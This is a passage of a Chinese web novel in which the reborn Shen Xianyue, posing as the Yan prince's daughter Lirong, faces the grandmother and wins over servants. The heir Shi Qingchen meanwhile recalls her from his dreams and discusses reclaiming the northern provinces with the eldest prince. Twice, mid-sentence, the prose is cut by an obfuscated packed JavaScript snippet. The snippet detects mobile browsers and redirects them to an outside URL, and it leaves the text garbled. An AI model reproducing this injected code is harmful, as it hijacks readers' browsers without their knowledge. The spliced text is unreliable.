屋中布置精巧,一看就是花了心思的,糊窗子的琉璃明纸、雨过天青色的竹帘、充作赏玩之物的天竺石、古墨胭脂晕染出来的紫檀山水屏风,奇香扑鼻的金银花鸟绘神丝云纹冰绡如意帐,还有各色胭脂水粉,珠玉陈设,凡此种种,不可悉数。 沈衔月一面看,一面叹,不愧是燕王府,这般阔绰,这般不吝金银,即便是“表姑娘”的客居之所,也如此不俗。 若她果真是燕王府流落在外的私生女,只怕这会子已经对燕王甚至是燕王妃感恩戴德了。 可惜,她不是。 沈衔月望着这些精致的玩意儿,心中只是唏嘘,她再一次想起梨容死前苍白蜡黄的脸色,瘦弱娇小的身躯,一看就是长年累月得不到好的照顾,才会那样憔悴。 父亲的爱,总是掺杂着太多的因果是非,利弊权衡,时玄钧爱梨容吗,或许是爱的吧,可是这份爱只能建立在时玄钧个人的尊容之上,他必须顾忌燕王府的名声,必须顾忌燕王妃的想法,他对梨容,就像是对一只小猫小狗的呵护,不过是愧疚和施舍罢了。 沈衔月唇角泛起一丝冷意。 她想起了自己的父亲,沈扶澜。 上一世,她一直觉得是自己不好,是自己鲁莽冲动,意气用事,非要选那个草包三皇子李元彻做自己的未婚夫婿,如今再想想,李元彻早有反心,一点都不草包,沈扶澜真的对此一无所知吗,大婚当日,太傅府中只有女眷,而作为一家之主的沈扶澜却并不在府中。 他去哪儿了? 有什么事情,比自己女儿的大婚还要重要? 还有,他和大皇子究竟在商谈何事?那个遗命又是什么? 沈衔月决心离开太傅府,不光是因为她想要查明真相,更是因为,她在装疯卖傻时看透了那所谓的父爱。 从前,沈扶澜对她很是疼爱,说是掌上明珠也不为过。 可她疯了病了,他毫不掩饰对她的嫌弃与厌倦,甚至请医开药也有诸多顾忌。 沈衔月唯一放不下的是自己的母亲,太傅夫人姜雪晴,好在家中还有弟弟妹妹,有他们膝下承欢,尽尽孝道,想来母亲的日子也不会太难过。 她这么想着,便在淡袅清幽的香气中沉沉睡了过去。 她做了一个梦。 梦中,她再一次遇见了时倾尘。 7. 起迟了 七、起迟了她的腰,又细又软 他还是淡淡的,淡淡的眉,淡淡的眼,似乎世间的一切都与他无关。 即便知道这是一场梦,沈衔月的心还是不由自主地揪了一下。 她遥遥而立,望着他清俊的轮廓,望着他昳丽的姿容,她想上前同他说句话,可她终究没有这么做。 时倾尘,这一世,我不会再追逐你的影子了。 我要你来追逐我。 …… 沈衔月醒来的时候已然日上三竿,她瞧见窗外那轮红日,意识到自己睡过了头,她连忙摇醒在榻边歪着的莺儿,“莺儿,快醒醒,我是不是该去前头给父亲母亲请安?” 莺儿揉了揉惺忪的睡眼,迷迷糊糊地打了一个哈欠,这才慢吞吞地起身去看香篆钟,不看不要紧,这一看,可给莺儿唬了一跳,“该死,我怎么睡得这么沉,这可如何是好!” 沈衔月有些不解,误了时辰固然不好,但也不是什么太大的过错吧,何至于此? “没事,想来父亲母亲不会责怪的。” “表姑娘有所不知,王爷自然不计较这些,表姑娘刚来王府,王妃也不好说什么,世子殿下就更不会了,可是老夫人却是眼里不揉沙子的,冬温夏清,晨昏定省,看得比谁都重,这是表姑娘第一次拜见老夫人,在礼仪上出了这么大的纰漏,定然是要惹老夫人不痛快的。” 听莺儿如此说,沈衔月也意识到问题的严重性了。 她本来就是来投靠人家的,却连最起码的请安规矩都不懂,可不是要惹老夫人生气了,更何况,就连燕王妃都知道梨容是燕王的私生女,老夫人没有理由不知道,只怕老夫人本来就不喜欢这个从小养在外头的姑娘,正等着挑她的错呢。 沈衔月懊恼不已,她平日也不是贪睡的性子,怎么就睡到这个时辰了? 眼下后悔也晚了。 她连忙命莺儿为自己梳妆打扮,选了一套素净钗裙,便匆匆往老夫人所居的慈安堂去了。 二人到时,时玄钧、慕容嫣、时倾尘果然都已经到了,正在屋中喝茶,陪着老夫人聊天。 沈衔月抿抿唇,上前依礼拜见。 “容儿来迟了,还请祖母恕罪。” 沈衔月本来想说自己生病了,这才来晚了,可她料着那老夫人是何等人物,只怕这样的谎言一眼就能看破,既然如此,她还不如上来就老老实实认错。 她这么一来,原本热闹舒缓的气氛一下子凝固了,时玄钧看了她两眼,似乎想说些什么,可到底没言语,慕容嫣一副看热闹不嫌事大的表情,至于时倾尘,她感觉不到他的半点情绪。 半晌,没人回应。 人在屋檐下,不得不低头。 沈衔月又是一礼,“还请祖母恕罪。” 时玄钧看不过去了,他陪着笑,“容儿才进王府,不懂得王府里的规矩,都是我不好,没教过她这些,母亲先让她起来吧。” 下马威给出去了,老夫人这才悠悠开口,“你叫梨容?” 沈衔月心说,这不是明知故问吗,我不叫梨容叫什么? 不过她还是规规矩矩应了一声。 “是。” “抬起头来。” 沈衔月抬头,瞧见了端坐太师椅上的老夫人,她华发满鬓,精神却养得很好,一看就是出身大家,毕生顺遂,在富贵安乐中养出的威仪贵气。 老夫人也端详着沈衔月。 说实话,这个“梨容”和她预想的样子很不一样。 老夫人听说梨容的生母是青楼女子,便觉得青楼女子养出来的女儿定然也是个上不得台面的,今日初见,原想着压她一压,免得她日后给燕王府闯出什么祸来,可她的眼眸坚定,虽然看起来温顺乖巧,其中没有半分躲闪惧意,竟像是见过大世面的。 下马威没有达到自己想要的效果,老夫人不大高兴。 “你方才叫我什么?” “祖母。” 老夫人“哼”了一声。 时玄钧忙道,“母亲,容儿无处可去,还请母亲容下她吧。” “你急什么?我说不收留她了吗?” 老夫人顿了一顿,又说,“不过收留归收留,她既然入了燕王府的大门,就得守燕王府的规矩,我活了大半辈子,还从未听说谁家长辈要等着小辈起床再过来问安的!” 沈衔月正要开口,却见慕容嫣起身行礼,“母亲莫要动怒,可否先听儿媳一言。” “你说。” “依我之见,容儿她确实有错,不过真要论起来,她也是第一次请安,有什么疏漏也是在所难免,都是我这个做母亲的没有教好,还求母亲宽恕。” 时玄钧没想到慕容嫣会为了“梨容”说话,他感激地看了她一眼。 沈衔月才不吃这一套,猫哭耗子假慈悲,她倒不信慕容嫣有这么好心。 老夫人望着慕容嫣,语气缓和了不少,“嫣儿,我知道你是个心善的好孩子,但这件事错不在你,你先坐下。” “母亲听我说完,容儿自然是有错的,可真要说起来,她身边服侍的人才更该罚,姑娘家的不懂事,他们是干什么吃的,难道也不知道帮着提点一二吗?” 老夫人点头,“这话说得很是。” 沈衔月挑了挑眉,原来慕容嫣在这儿等着自己呢。 梨花苑服侍的人都是时玄钧安排的,他是梨容的亲生父亲,自然不会对梨容有什么算计,慕容嫣要想对梨容动手,就得先把梨花苑的人换成自己的人。 果然,下一秒,慕容嫣继续说道,“容儿毕竟是初次犯错,母亲不如暂且饶她一次,只将她身边的人赶出去,也算是小惩大戒了,过后,我再亲自给容儿挑些好的人。” 时玄钧不懂后宅里的这些门道,还以为这话是为了梨容好,于是也说,“是啊,母亲,看在儿子儿媳的份儿上,您就饶了容儿这一次吧。” 他们两个都这么说,老夫人也不好再难为人了,于是她清了清嗓子,正色道,“蔡妈妈,你去把梨花苑服侍姑娘的人都……” 沈衔月抬起眼,打断了老夫人的话,“不必了。” 老夫人愣了一下,“你说什么?” 沈衔月一字一顿,掷地有声,“祖母,不必如此,是我的错,我认就是。” 老夫人简直不敢相信,她犯了错也就罢了,居然这么不懂规矩,直接开口打断了自己的吩咐,还这么一副理直气壮的样子,真是反了她了。 老夫人重重地拍了一下桌案,“梨容,你给我滚出去!” 时玄钧赶紧站了起来,“母亲息怒,母亲息怒,容儿,还不赶快给你祖母赔罪。” 沈衔月跪下磕了个头,再抬头时,眸中已然沁满了泪花,“祖母,容儿错了,容儿认罚,是容儿不懂规矩,还惹了祖母生气,只是请求祖母不要再迁怒其他人,否则……” 老夫人神情不善,冷冷扫视着她,“否则如何?” “否则容儿万万没有颜面再活于世间了。” 慕容嫣柳眉微颦,正要开口奚落,却见沈衔月站起来,冲着廊柱撞了过去,她脸色一变,她是想杀死这个人,可这个人绝不能死在大庭广众之下,她连忙喝命,“快拦住姑娘!” 沈衔月心中稳得一批,她知道,无论如何,这帮人不可能看着自己死在他们眼前,她挑的那根廊柱前后左右都有侍女仆从,她只要作势被这帮人拦下就好。 哼。 不就是做戏吗,谁不会呀。 她这么想着,没留意脚下一滑,整个人立时失了平稳,再抬头时,那根雕饰繁盛的金柱赫然到了她的眼前。 不是吧…… 她就是做做样子,没想真死啊…… 沈衔月叫苦不迭,认命般地闭上了眼睛,下一秒,她感觉自己扎扎实实被一个人抱在了怀里,空气中逸散着一抹淡淡的松月香,他的怀抱,雪一般的明透,月一般的清朗。 她睁开眼,看见了时倾尘。 她张了张嘴,想要喊“表兄”,可是说出来却成了“子川”。 上一世,她问了许多遍他的小字是什么,可他就是不肯说,于是她自作主张,给他起了一个小字,因为他眉眼如画,其间似有万千星河,她便唤他子川。 子川…… 时倾尘怔住,在梦中,那个女子也是这样叫自己的…… 她怎么会知道…… 时玄钧紧张地跑了过来,“尘儿,容儿,你们没事吧。” 时倾尘摇摇头,后知后觉地松开了怀中的沈衔月。 “父亲放心,我们没事。” 经此变故,老夫人心中纵然有气,也不忍再苛责了,“罢了罢了,梨容,念在你是初犯,这一次就这么算了吧,我乏了,你们都下去吧。” 沈衔月推开时倾尘扶着自己的手,再次跪下,“祖母,国有国法,家有家规,错了就是错了,不能不罚,容儿请求祖母责罚。” 老夫人神情复杂地看她一眼,这个丫头怎么这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418722|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么倔。 “那你就去佛堂诵经一夜吧。” “是,容儿多谢祖母。” 沈衔月当然不是自虐狂,她执意让老夫人惩罚自己,是不想给人落下话柄,老夫人刚才虽然没有罚她,可心里显然还是有气的,她想在燕王府长长远远地待下去,就必须让老夫人出了这口气。 时玄钧扶起她,叮嘱道,“容儿,夜里凉,去佛堂诵经的时候多穿件衣裳。” 沈衔月乖巧点头,又挤出一滴眼泪,“都是容儿不好,容儿让父亲担心了。” 时玄钧更愧疚了,他拍了拍她的手,“今日你也受惊了,就不必再给我们请安了,等下让你兄长送你回去吧。” 沈衔月要的就是他的愧疚,只有他时刻愧疚,她才能在燕王府过得舒坦。 她垂首又是一礼,“是。” 一时,时玄钧和慕容嫣都回去了,时倾尘跟在沈衔月的后面,默默地走着。 沈衔月回头冲他一笑,“方才,多谢表兄救我。” 时倾尘望着她的如花笑靥,有片刻的失神,不知道从什么时候起,他对她的感情有些不一样了,他的薄唇抿成了一条断续的线,半晌才说,“表妹,我们从前是不是见过?” 沈衔月止住步子,“表兄何出此言?” 时倾尘的眼眸中蒙上了一层雾色,“我也不知道,只是恍惚间,觉得表妹有些眼熟。”他顿了一下,又说,“我方才救你的时候,听你唤我‘子川’,我没有听错吧?” 沈衔月望着他迷惘的神情,陷入了回忆。 子川…… 你居然还记得这个名字…… 所以时倾尘,你还是记得我的,是吗…… 时倾尘轻唤,“表妹。” 沈衔月回过神来,她抬眸一笑,“表兄,我不记得了。” 时倾尘的脸上流露出一抹怅色,沈衔月瞧见了,便问,“这个称呼对表兄来说很重要吗?” 时倾尘迟疑了一下,“我在梦里听见别人这么唤我,那个梦,我做了许多遍。” 沈衔月微微挑眉,似笑非笑地看着他,“那个人,该不会是个女子吧?” “你怎知……”时倾尘话说一半,猛然住了口,“不,是个男子。” “男子?” “嗯。” 时倾尘心虚地低下了头。 沈衔月笑了笑,“表兄别急,我倒是有个法子,或许能想起来。” “什么法子?” “我们重温一遍方才的场景,说不准,我就又想起来了。” 时倾尘皱眉,方才的场景…… 那他岂不是又要抱她一遍…… “这,不大妥当吧。” “有什么不妥的,表兄难道不想知道梦里的那个人究竟是谁吗?” 时倾尘动心了。 他当然不认为梦里的女子会是他的表妹,他虽然不记得那个女子的姓名了,但他知道,绝对不是“梨容”这两个字,不过或许表妹认识梦里的那个女子。 无论如何,总要试上一试。 “那,来吧。” 时倾尘虽是这么说着,可他的手抬起来又放下,不知道该放在哪里才好,方才事出突然,他为了救她,来不及顾虑太多,可是眼下,她就这么好端端地站在自己眼前,雪一般的肌肤,花一般的容貌,就算她是他的亲生妹妹,他也很难摒弃心中杂念。 更何况,她和梦中的女子一样,都会叫他“子川”。 沈衔月上前一步,她拉起他温润如玉的手,放在了自己的腰间。 “表兄,抱我。” 她的腰,又细又软。 宛若春枝拂面过,又如绿绮拨心弦。 时倾尘不自觉垂眸看她,她穿着嫩柳鹅黄的间色裙衫,海棠红的春纱披帛随风摇曳,为她清秀的姿容添了一抹娇羞茜色,她像是花中仙子,碧霄神女,眼角眉梢俱是万种风情,鲜媚而不妖娆,清纯而不幼稚,他凝视着她的眼眸,那里藏着一生一世的心动。 他流泪了。 他不知道自己为什么会流泪。 他颤声问,“你是谁?” 沈衔月微微一笑,她的玉指覆上他昳丽清绝的面容,沿着他的颊侧滑落颈间,她咬着他的耳朵,气息又轻又软,“子川,你不记得我了吗?” 时倾尘如遭雷击。 依稀间,他在她的身上看到了另一个人的影子。 他想起来了,那个人,名衔月,字兰若。 8. 两个人 八、两个人衔月……兰若…… 衔月…… 兰若…… 这个名字犹如电光火石一般在他的脑海中倏忽闪过,激起千丈风浪。 时倾尘松开抱着沈衔月的手,扶着身侧的假山堪堪站定。 他不记得他同梦中那个女子有过怎样的过往,他只记得,她望向自己的目光是那样柔和,那样清澈,那样的含情脉脉,那样的一切尽在不言中。 某个瞬间,她的眼神像极了表妹。 又或者说,表妹的眼神像极了她。 不,这怎么可能。她们分明是两个人,两个毫不相干的人。 时倾尘不敢直视沈衔月的眼眸,他仓皇地退后一步,“谢谢你。” 沈衔月望着他失态的模样,莞尔一笑,“表兄,客气了。” 时倾尘深吸一口气,尽可能让自己平静下来,“表妹,我有一件事情要办,你可以自己回梨花苑吗?” “当然,表兄去忙吧。” 时倾尘点点头,吩咐道,“莺儿,你照顾好表姑娘。” “是,世子殿下。” * 听澜苑。 时倾尘快步回了自己的庭院,他推开木门,凭几而坐。十八年来,他的眼神中第一次出现了惶惑。 窗侧竹林幽静,倾影叠榻,他用金珥小匙取了一点松月香,置于博山炉上焚了,在恬淡清雅的香气中,他敛气凝神,尽可能让自己不去想她。 他还有更重要的事情要做。 这时候,沉闷的脚步声响起,从屏风后面转出来一个人,“燕世子好雅兴。” 时倾尘握着香匙的手一滞,他拢了拢如雪苍茫的广袖,语调舒缓,“大皇子怎么来了?” 大皇子的脸上依旧带着面具,瞧不出他的喜怒哀乐,那层面具仿佛永远刻在了他的脸上,一辈子都摘不下来,他提着剑,大步上前,“你不去长安,我只能来江南找你了。” “大皇子同我说的事情,我仔细考虑过了,还是罢了吧。” “为何?” “叮”的一声脆响,时倾尘将香匙掷回香盒,淡淡道,“不值得。” 大皇子嗤然一笑,“不值得?天澜,你我相交多年,你的秉性,我再了解不过了,你看起来不问世事,实则志存高远,当年你我一处用功读书,你假借茶商之子的名号蓄意接近我,不就是想要搅弄长安风云吗,这会子,你跟我装什么世外仙人?” “大皇子慎言。” 大皇子不屑地扬了扬面具之下的唇角,他从怀中取出一卷泛黄的牛皮纸,“啪”的一声摔在了时倾尘身侧的几案上,“我知道你想要什么。” 时倾尘扫了一眼,“这是何物?” “燕北十六州的舆图。” 时倾尘面色一凛。 大皇子瞧着他的神情变化,满意一笑,“我就知道,天澜,你不可能忘记燕北十六州。” 时倾尘是燕王府世子,说起来无比荣华,可到了他的父亲时玄钧这一辈,燕王府的地位已是大不如前,时玄钧安局江南一隅,享受着太平奢华的王府生活,可是时倾尘没有忘记,时氏一族最初的封地并不是江南,而是燕北十六州。 燕北十六州,那是他们祖祖辈辈浴血奋战的所在,那是大徵抵御蛮夷入侵的天堑屏障,百余年间,只要燕王在一日,蛮族的铁骑就绝不敢越雷池半步。 燕王为大徵挡下边塞的风霜狞雪,保着大徵皇帝稳坐龙椅,睥睨天下,可是燕王的功劳实在太大了,以至于最后,已经到了封无可封,赏无可赏的地步。 对于帝王而言,功臣远比蛮夷更为可怕。 所以,当蛮夷再一次蠢蠢欲动,当燕王仗剑上马,准备再一次为大徵平定祸乱的时候,皇帝连下三十二道御笔亲信,责令燕王按兵不动,班师还朝。 燕北十六州一夜之间沦为了蛮族的地盘,生灵涂炭,民不聊生,彼时的燕王怒火攻心,呕血而亡,燕王的战旗也就此倒地,曾经守卫大徵百年安宁的燕家军此刻仿佛成了一个笑话。 时倾尘攥紧了拳头。 这是燕王的耻辱。更是时氏一族子子孙孙忘不掉的血海深仇。 皇帝为了安置燕王府亲眷,在江南辟出一片土地,作为封地重新赏给了当时的燕世子,就这样,燕王的封地从风嘶雪嚎的燕北十六州变成了富贵温柔乡的梦里江南。 从此,肆意驰骋的海东青沦为了偶尔吠鸣的看门狗。 天上地下,霄壤之别,燕王的威名被踩在了烂泥里。 到了时玄钧那一辈,他已经忘掉了故乡,忘掉了那片曾经沾满自己先祖血与泪的土地,忘掉了曾经燕王府迎风飘举、战无不胜的大旗。 时玄钧抱着太后的养女,享受着朝廷给燕王府的封赏,在繁华中沦陷迷失,他待腻了,偶尔也会便装出巡,去最富烟花盛名的十里扬州找找乐子。 可是时倾尘没有忘。 他不能忘! 在过去的十八年里,他每年都会攀登最高的山峰,隔着迭迭云雾,滔滔江河,向北眺望,他要记着燕北十六州的方向,那是他的家乡,那是大徵失去的另一半国土。 重夺燕北十六州。 这是他的毕生所愿。 所以,他才会想要入长安,谋科举,他知道,他已经不可能再走时家以军功立身的老路了,不能武功,那便文治,只要能说动帝王,他是燕世子又或是其他人,又有什么要紧。 大皇子的手落在了时倾尘的肩头,他重重一叹,“天澜,还记得你从前同我说过的话吗?” 时倾尘的喉结滚动了一下,“记得。” “我想听你再说一遍。” 时倾尘心中似有万千风浪波涛翻滚铿铮,他如竹似玉的指节攥住自己翻飞的雪色衣角,他抿着唇,一字一顿,“若是皇恩浩荡,我燕王府愿以血肉筑梁,为大徵夺回燕北十六州,从头收拾旧山河!若是喉舌难辩,我时倾尘哪怕担了乱臣贼子之名,也要以飘摇微末之身,去祭奠枉死于燕北十六州的红血白骨,万千亡魂!” 大皇子拊掌击赞,“说得好!” 时倾尘所言,句句泣血,声声含泪,他说完这些话,已是再不能言语。 大皇子在时倾尘的对面坐下,他望着时倾尘长袖素袍之下不住颤抖的身躯,长叹一声,“天澜,自岳麓书院以来,你我相交十年之久,我每每见你,你都是这一袭白衣,我知道你从未忘记当年燕北十六州的耻辱沦丧,父皇昏聩,太子仁义,他们若是作个守成之君,倒还使得,可若要靠他们去夺回燕北十六州,哼,还不如指望蛮夷绝种。” 时倾尘咬了咬牙,“可是殿下,只要还有一分可能,我们也要试上一试,比起篡权夺位,置天下黎民百姓于不顾,不费一兵一卒就能改变圣心,这不是更好吗?” 大皇子冷笑,“改变圣心?天澜,你觉得这件事,是你能做到还是我能做到?” 时倾尘坚持着,“无论如何,总要试一试,我此行本来打算前往长安,借着太傅之女的及笄礼,结交一下长安城中的有识之士,若是能见到太子殿下就更好了,可惜,未能成行。” 大皇子听他提起太傅之女,眉毛上挑,“说起来,太傅这个女儿病得有些古怪。” “怎么讲?” “我曾经去过太傅府,有幸见了那个姑娘一面。” “你去太傅府做什么?” “怎么,你去长安不也是想要拉拢太傅吗,本王自然也是为着这个,谁不知道他是朝中老臣,又同父皇有着半师之分,若能得他助力,燕北十六州,有望也。” “太傅在朝中沉浮多年,若想请他表态,只怕不易。” “自然不易,不过天澜,你别忘了,沈扶澜可是欠着你们时家一条命呢。” 时倾尘抬眼看他,目光陡然变得清冷,“你竟然拿这个去威胁沈扶澜?” 大皇子取出玉佩,搁在案上。 “是你输了棋局,这才将这枚玉佩借给我的,如今,完璧归赵。” 时倾尘把玉佩收入怀中。 “我不知道你要玉佩,是为了拿它威胁别人,我若知道,绝不借你。” “天澜啊,你就是太执拗了,当初老师曾在课上问我们一个问题,过程重要,还是结果重要,当时你说过程重要,可是最后老师也说了,过程,不如结果重要,古往今来那么多的将相贤能,最终青史留名的能有几人?人活一世,总要留下点什么,这个什么,就是结果。” “我当日便说过,我不认同老师的话,结果固然重要,可是流芳百世是青史留名,臭名昭著也是青史留名,帝王将相和乱臣贼子又有何分别!” 大皇子斜睨着眼,“是啊,你也说了,帝王将相和乱臣贼子没什么分别,既如此,我们何不赌上一赌,成者为王,败者为寇,管这些虚名做什么,要活,就要活得痛快!” 时倾尘一时哑然,末了,一笑,“你竟然用我的话来驳我。” 大皇子也笑,“你才反应过来呀,天澜,不是我说,你今日似乎有点蠢。” 时倾尘望着博山炉中逸散飘渺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418723|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香雾,凝睇不语。 蠢吗? 或许吧。 他遇到了一个让他变蠢的人。 这个人当然不是大皇子,也不是那个梦中频频出现的女子,而是,他的表妹。 天色黯淡了下来。 时倾尘不愿再说,“我去掌灯。” 大皇子眼尖,瞧见了时倾尘行动时,白衣上沾染的一缕青丝随风滑落,他伸指捻在掌间,勾起的唇角颇有几分玩味之色,“咦,这是什么?” “什么什么?” 时倾尘执着烛台,回头看去,他瞧见大皇子手中的那缕青丝,一下子反应过来,“元芳,给我!” 大皇子名元芳,字允器,因为“元芳”这个名字更像是女孩子家叫的,所以大皇子从来不许别人这么叫他,而时倾尘幼时与他相交,每次暴怒时都会忘记他的忌讳。 大皇子听见这个称呼,不怒反笑,“呦,你还真生气了,看来这个女子不简单啊,说吧,是哪家的女儿呀,怎么就把你这么个心如止水的人给迷住了?” 时倾尘一把夺过,搁在烛台上烧了,“胡说什么呢,这是我表妹的,今天给祖母请安的时候,她不小心跌了一跤,我扶了她一把,可能是那个时候不小心落到我身上的吧。” 大皇子自然不信,“表妹?我怎么没听说,你还有个表妹?” 时倾尘懒得理他,“爱信不信。” 大皇子看他要走,连忙拉他,“行吧,表妹就表妹,天澜,我们不说这个。” “不说这个?那说什么?” 大皇子指着案上燕北十六州的舆图,“说这个。” 时倾尘不作声了,他抬手将那舆图展开,良久,又收起。 “大皇子,你的意思我已然明了。” “那么,你的意思呢?” “我还是当年在岳麓书院的那句话,我始终认为,过程,远比结果重要,如果我们毫无尝试,就谋反篡位,致使天下血流成河,哪怕最后夺回了燕北十六州,我们同我们唾弃的人又有何分别?” 大皇子轻轻笑了一下,“行,那你就去试试。” “这么爽快?” “不然呢,你的性子我还不了解吗,你要是不愿意,我总不能把刀架在你的脖子上逼你吧,我若真这么做了,你就算同我玉石俱焚,也绝不会妥协半步的。” 时倾尘也笑了一下,“天色不早了,你是在我这儿将就一晚,还是随便找个树杈子歇着?” “不了,我要回长安。” “你不远万里过来,只为见我一面?” “你想多了,我来,是想找找太傅之女的下落,听说她在江南出现过,看你,只是顺便。” “太傅之女的下落?她怎么了?” 大皇子矜了矜鼻子,“听说她在灵山被人劫走了,古怪得很,我那个草包三弟疯了似的找她,还放出话来,活要见人,死要见尸,真是一件怪事,怪事!” “三皇子?他认识太傅之女吗?” “就是不认识才古怪,若说他是为了讨好太傅,也不是没有可能,可我瞧就连太傅都没急成他那个样子,我以前还觉得三弟是装傻,如今看起来是真傻。” “的确古怪。” “那个沈姑娘更古怪,我之前见过她,言谈间没有一点疯的迹象,对了,你们燕王府最近有什么陌生的女子出现吗?” 时倾尘陷入沉思。 呃…… 陌生的女子…… 他的表妹算吗…… 大皇子瞧着他欲言又止的模样,奇怪道,“怎么了?不会真有吧?” “不瞒你说,我表妹是这几日才入府的,她,倒是有些古怪。” “表妹?”大皇子一怔,继而哈哈大笑,“我和你说正经事,你和我说表妹。” 时倾尘红了脸,“我说的就是正经事,你不知道,她,她真的有些古怪。” 大皇子凑上去盯着他的眼睛看,像是发现了什么好玩的东西,“天澜啊,我还是第一次听你主动和我提起一个女子,你该不会是喜欢上你的表妹了吧?” “你胡说什么,她不是我的表妹,她是我的亲……” 不行。 家丑不可外扬。 时倾尘硬生生咽下了后半句话。 “行行行。”大皇子笑得更欢了,“她不是你的表妹,天澜,我先走了,等着喝你的喜酒呦。” 时倾尘看着大皇子翻窗遁入夜色的背影,颓然地闭上眼睛。 完了,说不清了…… 9. 曼刹陀 九、曼刹陀碰一下就要碎了 时维四月,序属孟夏,燕王府的后花园莺歌燕语,熏风醉人。 沈衔月扶着莺儿的手,沿着荷花池缓步而行。 比起长安来,江南的春日添了一抹湿润,暖暖的,甜甜的,像是她从前爱喝的桃花酒。 眼看天快黑了,二人才回到梨花苑,莺儿推开院门,瞧见梨花苑的侍女跪倒了一片。 “你们这是做什么,快起来。” “姑娘救了我们,姑娘就是我们的恩人,我们此生追随姑娘,绝不敢有二心!” 沈衔月心头一喜,她们唤的是“姑娘”,而非“表姑娘”。 一字之差,千万之别。 这也是沈衔月哪怕自己受罚,也执意要保下梨花苑众人的原因,她初来燕王府,这么多双眼睛都盯着她呢,她若软弱,难免有人捧高踩低,她若硬气,那些混账东西也得掂量掂量,不敢轻易动手,她人生地不熟,若能借此收拢了梨花苑里的侍女们,总归是一件好事。 这么想着,沈衔月扶起她们,笑道,“大家都起来吧,我初入王府,不知道这里的规矩,凡事若有不周到的地方,还请诸位多提点提点,从今往后,我们就是一家人了,有什么事情,我定然是要护着你们的,不管怎么说,我们总不能丢了梨花苑的脸面。” 众人齐声称是。 沈衔月出身太傅府,她的父亲沈扶澜从小是把她当作皇后娘娘培养的,如何震慑下人们,她可谓是得心应手,一个巴掌一个枣,好听的话说完了,也得说点不好听的。 沈衔月扫了一眼众人,又把话锋一转,“不过,我把丑话说在前面,若是让我知道有人背主忘恩,和外头的人沆瀣一气,我绝不轻饶。” 众人都说不敢。 沈衔月也不奢望她们记在心里,不过这一番话下来,总归能安生几天。 主仆二人进了屋子,莺儿用十分崇拜的眼神看向沈衔月,“姑娘,你刚才好大的威风,和谁学的,能不能教我两招。” 沈衔月觉得有趣,“你学这个做什么?” “以后姑娘出了阁,早晚要嫁人的,就凭咱们燕王府的声望,姑娘要嫁的人家肯定也是钟鸣鼎食之家,我不得提前学着点,到时候好为姑娘荡平后宅!” “哈哈哈,哪有你说的这么吓人,我是去嫁人,又不是去打仗。” “姑娘你不知道,后宅里的学问多着呢,一点都不比战场容易。” 沈衔月想起自己上一世大婚的场景,眸色忽而冷了下来,“是啊,朝堂是男人的战场,婚事,则是女人的战场,十里红妆,死生同状。” 莺儿从金漆三彩斗柜中抱出一条厚厚的毛毡,“姑娘等下要去佛堂诵经,把这件厚毯子带上吧,省得夜里着凉。” “嗯,带上吧。” 莺儿应了一声,抱着那毛毡就往外面走,不料那毛毡太长,撞翻了案上的香炉,“砰”的一声,香炉摔在地上,香灰洒落一地,莺儿连忙叫人进来收拾,沈衔月却盯着那香灰细看。 “等一下。” “怎么了姑娘?” “莺儿,你昨日焚的是什么香?” “梨花香呀,这是王爷数日前就送过来的,说是合了姑娘的名讳,还有安神怡梦的效果。” “若是梨花香,香灰的颜色应为纯白,又或是浅灰,可这香炉中的粉末分明是绛红色,这不是梨花香,只是仿着梨花香的气味做出来的罢了。” “不是梨花香,那是什么香?” 沈衔月捻起一寸胭脂色的颗粒,放在鼻尖仔细嗅了嗅,“我记得长安有一味香料,名唤曼刹陀,是藩国专为大徵皇室进献的,宫中的贵人们睡不着觉的时候就会用这味香料,用了之后,便可整晚安睡,天亮了也醒不过来。” 莺儿瞪大了眼珠,她年纪虽小,人却不傻,这摆明了是有人偷换了梨花苑的香料,害姑娘第一日请安就睡过了头,莺儿气冲冲地捡起香炉,“我去告诉王爷!” “站住。” “姑娘!” 沈衔月摇摇头,“一味香料罢了,你有什么证据证明这是燕王妃换的,就算你找到证据了,也证明不了她是蓄意害我呀,为了这么一点捕风捉影的小事,弄得整个燕王府人仰马翻,你说王爷是怪我还是怪她?” 莺儿气不过,忿忿地跺了跺脚,“总不能就这么算了吧!” 沈衔月用指尖拈碎那粒香末,“当然不能就这么算了,日子还长,我们慢慢算这笔账。” * 时倾尘又做梦了。 琼絮翻飞,华裳翩舞,梦中的那个女子仰面卧在风雪中。 隔着影影绰绰的薄雾,他记忆中的轮廓渐次模糊。 他伸出手,想要攥住她的披帛,可她离他越来越远,他只能看见她的倩影消逝在虚空中。 这一次,他依旧没有看清她的脸。 时倾尘猛地从梦中惊醒,晶莹的汗珠从他的额角滑落,在月色的映衬下,他的脸颊越发苍白,像是冰中浸润的冷玉。 碰一下就要碎了。 竹月色的帘幔垂地,他支起身子,望着锦衾上的缠枝花纹出神。 衔月,你到底是谁…… 时倾尘睡不着了。 不知道从什么时候起,时倾尘每晚都会做这样的梦,梦中那个女子是那样的生动,那样的鲜活,他不相信这只是一场梦,他觉得她一定活在这个世上,甚至有可能就在他的身边。 黑夜有着不同寻常的魅力,他系好披风,信步而行,他想找到这个女子,他想问问她,他们之间究竟有着怎样的曾经,她为什么频频出现在自己的梦中? 不知不觉间,时倾尘走到了佛堂。 他想,进去拜一拜也好。 